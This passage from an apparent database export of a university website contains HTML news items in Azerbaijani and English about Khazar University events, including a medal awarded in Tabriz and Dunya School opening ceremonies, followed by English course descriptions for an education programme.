Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı İran İsalm\r\nRespublikasının Təbriz şəhərində böyük İran və Azərbaycan şairi Məhəmmədhüseyn\r\nŞəhriyara həsr olunmuş beynəlxlq konfransda iştirak etdi. Konfransa Təbriz\r\nUniversiteti ev sahibliyi edirdi. </p>\r\n<p>Konfransda beş ölkə – İran İsalm Respublikası, Pakistan, Türkiyə, Azərbaycan\r\nvə Gürcüstan təmsil olunurdu. İştirakçı ölkələrin görkəmli elm adamları\r\nsırasından altı nəfər 2016-cı ilin Şəhriyar Mədəniyyət Medalına layiq görüldü. </p>\r\n<p>Azərbaycan Respublikasından Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və Bakı Dövlət\r\nUniversiteti İlahiyyat fakültəsinin dekanı professor Vasim Məmmədəliyev Şəhriyar\r\nMədəniyyət Medalına layiq görüldülər. Onlar öz çıxışlarında M.Şəhriyar haqqında\r\nfikirlərini konfrans iştirakçıları ilə bölüşdülər.</p><p><br></p><p style=\"text-align:center\"><strong>Şəhriyar Mədəniyyət\r\nMedalının Mətni:<o:p></o:p></strong></p><p>İkinci Beynəlxalq Şəhriyar Mədəniyyət Medalı </p>\r\n<p>Xəzər Universitetinin Təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının Sədri</p>\r\n<p>Professor Hamlet İsaxanlıya </p>\r\n<p>&nbsp;İnsanlar və xalqlar arasında olan əlaqələr, dünyada mövcud qarşısı\r\nalınmayan əlaqələrdəndir ki, həyatın axarında fikir, düşüncə, hiss və həyəcanları\r\nbir-birinə bağlayır və dərələrdə, çaylarda nərə çəkib çağlayır, böyük insanların\r\nimanından, əhdindən və məsuliyyətindən ilham almaqla varlığın böyük yaradıcısı\r\nAllahın səlahiyyətində olan bəşəriyyətin pak fitrətinə axıb tökülür.</p>\r\n<p>İndi o hörmətli zəka sahibi, İkinci Beynəlxalq Şəhriyar Mədəniyyət Medalı\r\nKomitəsi tərəfindən seçilmiş, mədəniyyət medalı və nişanı almağa layiq\r\ngörülmüşdür. </p>\r\n<p>Təbriz Universiteti təqdim oluna nişan və təşəkkürnamə mükafatları ilə\r\nSizin unudulmaz səylərinizi təqdir edir. </p>\r\n<p>Ümidvarıq ki, islam mədəniyyəti və ölkələrimizin diqqətində olan birliyi\r\nyaratmaqda daima uğur qazana biləcəyik.&nbsp;&nbsp;</p>  <p><br></p>'),(2177,1335,'az','“Dünya” məktəbinin açılış mərasimi keçirildi','2016-cı il sentyabrın 15-də “Dünya” məktəbində yeni dərs ilinin açılışı oldu. Açılış mərasimində məktəbin təsisçisi Nailə xanım İsayeva çıxış edərək...','<p>2016-cı il sentyabrın 15-də “Dünya” məktəbində yeni dərs\r\nilinin açılışı oldu. Açılış mərasimində məktəbin təsisçisi Nailə xanım İsayeva\r\nçıxış edərək, məktəbliləri yeni dərs ilinin açılışı münasibətilə təbrik etdi,\r\n“Dünya” məktəbinin Sumqayıtda yeni açılan haqqında məlumat verdi.</p>\r\n<p>Daha sonra tədbirdə Milli Məclisin deputatı, valideyn\r\nAzay Quliyev və Binəqədi Rayon İcra Hakimiyyətinin şöbə müdiri Yəhya Əliyev\r\nçıxış edərək, “Dünya” məktəbinin şagird və müəllim kollektivini təbrik etdilər,\r\nhər kəsə uğurlar arzuladılar.</p><p>Daha çox şəkilləri bu linkdən izləyə bilərsiniz:&nbsp;<o:p></o:p></p> <p><a href=\"https://www.facebook.com/pg/dunyaschool/photos/?tab=album&amp;album_id=1098963446840109\" target=\"_blank\">https://www.facebook.com/pg/dunyaschool/photos/?tab=album&amp;album_id=1098963446840109</a>.</p>  <p><br></p>'),(2178,1335,'en','Dunya School Opening Ceremony','On September 15, 2016, an opening ceremony was held to mark the beginning of the 2016-2017 academic year at Khazar University’s affiliate Dunya School...','<p>On September 15, 2016, an opening ceremony was held to mark\r\nthe beginning of the 2016-2017 academic year at Khazar University’s affiliate\r\nDunya School.&nbsp; The school’s founder, Nailakhanim Isayeva, opened the\r\nceremony with a speech. She also gave the audience information about the new\r\nbranch of Dunya School opening this year in Sumgayit. </p>\r\n<p>Then speeches were made by Azay Guliyev, a pupil’s parent\r\nand Member of Parliament; and Yahya Aliyev, Division Head at Binagadi District\r\nExecutive Power. They congratulated the pupils and teachers and wished them\r\nsuccess in the new school year.&nbsp;</p><p><span style=\"color:#1f497d\">For more photos, see the\r\nfollowing link:&nbsp;<o:p></o:p></span></p> <p><a href=\"https://www.facebook.com/pg/dunyaschool/photos/?tab=album&amp;album_id=1098963446840109\" target=\"_blank\">https://www.facebook.com/pg/dunyaschool/photos/?tab=album&amp;album_id=1098963446840109</a>.</p>  <p><br></p>'),(2179,1336,'az','“Dünya” məktəbinin nəzdindəki bağçada yeni dərs ili başlandı','','<p>2016-cı il sentyabrın 15-də “Dünya” məktəbinin Məktəbəqədər\r\ntəhsil bölümündə yeni tədris ilinin başlanması ilə əlaqədar tədbir keçirildi.\r\nBayram tədbirində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və “Dünya” məktəbinin təsisçisi Nailə\r\nxanım İsayeva, bağça rəhbərliyi, valideynlər və uşaqlar iştirak edirdilər. </p>\r\n<p>Şən nəğmələr, rəngarəng rəqslər, gözəl çıxışlarla zəngin\r\ntədbirə balacaları təbrik etmək üçün müxtəlif nağıl personajları da gəlmişdilər.</p><p>Daha çox şəkilləri bu linkdən izləyə bilərsiniz:&nbsp;<o:p></o:p></p> <p style=\"\" margin-bottom:12.0pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://www.facebook.com/pg/dunyaschool/photos/?tab=album&amp;album_id=1098977133505407\" target=\"_blank\">https://www.facebook.com/pg/dunyaschool/photos/?tab=album&amp;album_id=1098977133505407</a>.</p>  <p><br></p>'),(2180,1336,'en','New Academic Year at Dunya Preschool ','On September 15, 2016, an opening ceremony was held to mark the beginning of the 2016-2017 academic year in the preschool attached to Khazar University’s affiliate Dunya School...','<div><p>On September 15, 2016, an opening ceremony was held to mark\r\nthe beginning of the 2016-2017 academic year in the preschool attached to\r\nKhazar University’s affiliate Dunya School. Participants in the celebration\r\nincluded the founders of Khazar University and Dunya School, Professor Hamlet\r\nIsaxanli and Nailakhanim Isayeva, respectively; preschool teachers, parents,\r\nand children. The celebration included happy songs, colorful dances, and\r\nbeautiful performances. Various fairy tale characters also came to greet the\r\nchildren.&nbsp;</p><p><span style=\"color:#000000\">For more photos, see the\r\nfollowing link:&nbsp;</span></p><p><span style=\"color:#1f497d\"></span><a href=\"https://www.facebook.com/pg/dunyaschool/photos/?tab=album&amp;album_id=1098977133505407\" target=\"_blank\">https://www.facebook.com/pg/dunyaschool/photos/?tab=album&amp;album_id=1098977133505407</a>.</p></div><div>  <br></div>'),(2181,1337,'az','Üzeyir Hacıbəyli beynəlxalq musiqi festivalı','2016-cı il sentyabrın 18-dən 27-dək Azərbaycan Respublikası Mədəniyyət və Turizm Nazirliyi və Heydər Əliyev Fondunun təşkilatçılığı ilə VIII Üzeyir Hacıbəyli...','<p>2016-cı il sentyabrın 18-dən 27-dək\r\nAzərbaycan Respublikası Mədəniyyət və Turizm Nazirliyi və Heydər Əliyev\r\nFondunun təşkilatçılığı ilə VIII Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalı Bakının\r\nmüxtəlif yerlərində keçiriləcək. </p>\r\n<p>Festival çərçivəsində sentyabrın\r\n27-si saat 12:00-da Xəzər Universitetində slovakiyalı violinçi Fərhad Aşumov və\r\nXəzər Universitetinin Musiqi və incəsənət departametinin müdiri Zülfiyyə\r\nSadıqova ilə ustad dərsi və konsert-görüş keçiriləcək.&nbsp;</p>'),(2182,1337,'en','Uzeyir Hacibeyli International Music Festival ','On September 18-27, 2016, the VIII Uzeyir Hacibeyli International Music Festival will be held in various locations around Baku...','<p>On September 18-27, 2016, the VIII Uzeyir Hacibeyli\r\nInternational Music Festival will be held in various locations around Baku. The\r\nFestival is organized by the Azerbaijan Republic Ministry of Culture and\r\nTourism and by the Heydar Aliyev Foundation. As part of the festival, a\r\nmasterclass with Slovakian violinist Ferhad Ashumov and Associate Professor\r\nZulfiyya Sadigova, Head of the Department of Music and Fine Arts at Khazar\r\nUniversity, will be held at Khazar University at 12:00 on September 27<sup>th</sup>.</p>'),(518,337,'en','Course Descriptions','Course Descriptions','<p><strong><em>ART 231: Painting and\r\nArt Education (6 credits)</em></strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Basic fundamentals of painting. Color and basic techniques.\r\nStudio work and exhibition.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 101: Azerbaijani\r\nLanguage (University Requirement) (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: High School Azerbaijani language</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course prepares students for analyzing academic texts and\r\ntechnical material in Azerbaijani. Advanced skills in academic and creative\r\nwriting, reading comprehension are honed using academic literature across\r\nvarious disciplines. The topics cover culture, environment, customs and\r\ntraditions, history, economics, etc.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>AZLL 102.&nbsp;\r\nIntroduction to Writing (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite AZLL 101.</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Writing Strategy. Planning and organizing source material for\r\nwriting, revising, editing and proofreading. Summaries, critiques and syntheses\r\nof texts. Essay and creative writing. Academic and Business writing. Prose\r\nstyle.&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>CMS 101: Introduction\r\nto Computer Science (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Students are introduced to the evolution of computers, the components\r\nof a computer system, computer hardware and software, file organization, data\r\ncommunications, operating systems, the concept of algorithm, text processor.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Fundamentals and functions of the Internet.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>DESN 103: Painting (6\r\ncredits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: DESN 102</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Basic study, studio practice, and critique. Exploration of\r\nconcepts, materials, techniques, and historical examples, using acrylics,\r\ngouache, pastel, and mixed-media. Emphasis on individual concept and content.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>DESN 201: Graphics\r\nDesign (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: DESN 101</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Emphasis on design, use, and application of creative visual\r\nimages and concepts in communication. Two-dimensional and tree-dimensional\r\nproblems.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 105: Introduction\r\nto Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Social sciences overview of major policy issues in public\r\neducation. General introduction to social sciences research in analysis of\r\neducational policy issues and to methods for exploring major policy issues.\r\nTopics include school finance, equal educational opportunity, testing and\r\nevaluation, teacher compensation, and school law.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 203:&nbsp;&nbsp;\r\nBilingual Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Educational principles of bilingual education. Teaching methods\r\nin bilingual classroom.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 206: Basics of\r\nDephectology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Comprehensive survey of mental retardation, with emphasis on\r\netiology, characteristics, diagnosis, institutionalization, social and family\r\nrelationship, multicultural education, and historical aspects of mental retardation.\r\nComprehensive survey of learning disabilities with emphasis on characteristics,\r\ntheoretical explanations and models, assessments, and placement alternatives.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 207: Information\r\nTechnology and Elementary Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Computers and the Internet. Elementary methods of gathering and\r\nprocessing of information.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 208: Drama in the\r\nClassroom (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Methods of development of drama in the classroom. Search for\r\nchildren’s drama within national literature as well as other literatures.\r\nDistribution of roles and training methods. Design of scene.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 217: Special\r\nEducation (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Educational and other characteristics and needs of children and\r\nyouth who deviate from the norm in physical, mental, social, or communication\r\nabilities. Theories of curriculum; models of teaching, instructional\r\nstrategies, evaluation of student progress and service delivery; issues and\r\ntrends in special education.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 276: Computer\r\nApplications in Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: CMS 101</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">A practical course on computer applications as a problem-solving\r\ntool. Topics include word processing, electronic spreadsheets, database\r\nmanagement, graphics and telecommunication.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 300: Foundations\r\nof Vocational Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">History of vocational legislation, principles and practices in\r\nthe national and local levels. Knowledge of work analysis, planning, and\r\norganizing of vocational content for instruction.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 302: Curriculum, Instruction\r\nand Assessment Strategies (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Social and psychological foundations of curriculum. Theories of\r\ncurriculum development, modern trends, various assessment strategies within and\r\nacross teaching disciplines. Instructional inquiry examined within classroom\r\nmanagement, philosophical foundations, exceptionality, technology,\r\nmulti-cultural issues, etc.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 303: Foundation of\r\nPhysical Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Examines the philosophical, historical, sociological and\r\npsychological foundations of physical education. Study of procedures and\r\ntechniques in physical education.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 307: The Teacher\r\nand the Law (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: EDF 105</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Analysis of legal rights and responsibilities in the classroom,\r\nlaws, related to liability, contract, records, discipline, due process, and\r\nschools.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 311: Games in\r\nElementary and Middle Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: DAE 204</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The study of the scope, structure, and sequence of games in\r\nGrades 1-6. Emphasis on educational games and skill progression for selected\r\nsports. Field experience required.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 322: Integrated\r\nLanguage and Literacy (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Approaches to the integration of reading, writing, speaking, and\r\nlistening across the curriculum in collaborative, student-centered environment.\r\nFocuses on the child in her/his life contexts, including home, school, and\r\ncommunity.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 325: Elementary\r\nArt Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Curricula, specific methods, and media in teaching elementary\r\nart. The course presents tools designed to help elementary school teacher in\r\ncreative growth of children.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 327: Elementary\r\nMathematics Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: MATH 235, 236</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Content, methodology, and instructional materials for elementary\r\nschool mathematics. The course emphasizes use of knowledge from learning\r\ntheory, motivation, readiness and evaluation. Students deal with selecting and\r\npresenting mathematical content for elementary school children.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 328: Elementary Social\r\nStudies Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Objectives, materials of instruction, organization and content\r\nof selected courses of the social studies in elementary school program.\r\nAdaptation of modern methods to specific school conditions.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 329: Elementary\r\nScience Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Specific methods, research, curricula, and media in teaching\r\nelementary science.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 350: Elementary Health\r\nand Physical Education (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Curricula, specific methods, and media in teaching elementary\r\nhealth and physical education.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 360: Children\'s\r\nDance (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The teaching of contemporary national and others dance.\r\nIntegrating dance into the curriculum. Basic principles and techniques for teaching\r\ndance to elementary school children.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 381: Elementary\r\nSchool Music Methods (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: NONE</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Designed to help elementary teachers learn the fundamentals of\r\nmusic and to provide specific and practical suggestions for teaching music\r\nskills to children. Students are actively involved in making music and learning\r\nto teach music.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 400: Instrumentals\r\nand Teaching Elementary Music (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Knowledge and skills for development for the development and\r\nimplementation of music experience in the elementary curriculum for the\r\nelementary classroom teacher.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 402: Methods of\r\nTeaching Descriptive Art (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Modern teaching methods and techniques of teaching descriptive\r\nart. Selected topics in theoretical, critical and historical methodology and\r\ntheir relevance to practicing descriptive art teaching techniques.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 403: Methods of\r\nTeaching Mother Tongue (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Modern teaching methods and techniques of teaching Azerbaijani.\r\nThe main emphasis is on communicative role of the four skills: reading,\r\nwriting, listening and speaking are taught within the frame topics. Be in\r\ncomplex in nature this course covers the basis of Azerbaijani.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 404: Basics of\r\nHygiene and Sanitation (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">It covers the study of assessment principals related to school\r\nhygiene and sanitation. School hygiene and sanitary norms and development of hygiene\r\nand sanitary skills and techniques are taught.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>EDU 405: Methods of\r\nTeaching Mathematics (6 